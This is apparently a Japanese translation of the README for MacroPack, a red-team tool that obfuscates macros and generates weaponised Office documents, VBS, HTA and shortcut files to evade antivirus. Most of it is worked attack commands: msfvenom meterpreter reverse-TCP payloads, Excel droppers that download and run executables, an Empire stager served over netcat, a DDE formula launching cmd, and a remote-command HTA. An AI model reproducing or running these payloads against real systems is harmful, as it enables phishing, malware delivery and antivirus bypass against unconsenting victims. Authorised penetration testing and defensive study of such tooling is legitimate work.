
macro_packは、@EmericNasi氏によるツールで、ペンテスト、デモ、ソーシャルエンジニアリング評価用のOffice文書、VBスクリプト、ショートカット、その他の形式の難読化と生成を自動化するために使用されます。macro_packの目標は、エクスプロイトとマルウェア対策バイパスを簡素化し、悪意のあるマクロおよびスクリプトの生成から最終的な文書生成までのプロセスを自動化することです。また、レッドチームやセキュリティ研究に役立つ多くの便利な機能も提供します。
MacroPack Community は、MS Office ドキュメントや VBS のようなレトロな形式の難読化と生成を自動化するツールです。 また、さまざまなショートカット形式も処理します。 このツールは、レッドチーム演習、ペネトレーションテスト、デモ、ソーシャルエンジニアリング評価に使用できます。 MacroPack は、マルウェア対策ソリューションのバイパスを簡素化し、VB ソースから最終的な Office ドキュメントやその他のペイロードタイプまでのプロセスを自動化します。 使用は非常に簡単です:
このツールは、人気のペンテストツール(Metasploit、Empire など)で生成されたペイロードと互換性があります。 また、標準入力からデータを読み取り、別のツールに静かな出力を提供できるため、他のツールと簡単に組み合わせることができます。このツールは Python3 で書かれており、Linux と Windows の両方のプラットフォームで動作します。
注: Office ドキュメントの自動生成やトロイの木馬機能には、適切な MS Office アプリケーションがインストールされた Windows プラットフォームが必要です。

このツールは、さまざまな難読化手法をすべて自動で使用します。 難読化機能は、MacroPack で生成可能なすべての VBA および VBS ベースの形式と互換性があります。 基本の難読化(-o オプション)には以下が含まれます:
MacroPack は、いくつかの種類の MS Office ドキュメントおよびスクリプト形式を生成できます。 形式は、指定されたファイル拡張子に応じて自動的に推測されます。 ファイル生成は、--generate または -G オプションを使用して行います。 MacroPack プロバージョンでは、--trojan または -T オプションを使用して既存の Office ファイルにトロイの木馬を仕込むこともできます。
Ms Office サポート形式:
スクリプト(txt)サポート形式:
ショートカット/シェル サポート形式:
スクリプトとショートカット形式(LNK を除く)は、MacroPack の Linux バージョンでも生成できることに注意してください。
このソフトウェアは、レッドチーム演習、ペネトレーションテスト、フィッシングシミュレーション、セキュリティ研究、またはその他のセキュリティ評価の文脈において、システム所有者の合法的かつ正式な許可を得た場合にのみ使用する必要があります。 事前の同意なしにターゲットを攻撃するためにこのソフトウェアを使用することは禁止されており、違法です。 すべての適用される地方、州、連邦、国の法律を遵守するのはユーザーの責任です。 当社は、本ソフトウェアの使用により生じる可能性のある誤用や損害について一切の責任を負いません。
MacroPack のすべての機能とオプションが MacroPack Community で利用できるわけではありません。 オンラインで利用できるのはコミュニティバージョンのみです。 プロバージョンの機能は真にプロセスを「兵器化」するものであるため、そのアクセスはプロフェッショナルに制限されています。 プロモードには次のような機能が含まれます:
いくつかの短いデモ動画は BallisKit Vimeo チャンネル でご覧いただけます。
重要: MacroPack プロについて連絡したい場合は、私のメールアドレス emeric.nasi [at] sevagas.com を使用してください。 プロバージョンに関する匿名の問い合わせには回答しません。プロフェッショナルなメールのみ対応します。
### ソースからインストール
MacroPackをビルドするには、Windowsマシンを使用する必要があります。依存関係をダウンロードしてインストールしてください:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
このツールはPython 3で動作していますので、python3のインストールを確認してください。例:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
pyinstallerを使用してスタンドアロンexeを生成する場合:
* pyinstallerをインストール: pip install pyinstaller
* "build.bat"スクリプトをダブルクリックします。
生成されたmacro\_pack.exeは**bin**ディレクトリ内に配置されます。
## いくつかの例
### MacroPack Community
- サポートされているすべてのファイル形式を一覧表示する```bash
macro_pack.exe --listformats
- msfvenom によって生成された vba ファイルを難読化し、結果を新しい VBA ファイルに配置します。```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- 難読化されたドロッパー(payload.exeをダウンロードしてdropped.exeとして保存する)を含むMS Excelファイルを生成する```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- powershell.exeを使用せずに、DROPPER_PSテンプレートを使ってEmpire Launcher stagerをダウンロードして実行する```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE demo"></p>
- Dynamic Data Exchange (DDE)攻撃を使用して、PowerShellを介してファイルをダウンロードして実行する```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQYデモ"></p>
- 難読化されたmeterpreter reverse TCP VBSファイルを生成して実行する ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- クリックするとローカルのHTAファイルを実行するURLショートカットを生成します```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### MacroPack Pro のいくつかの例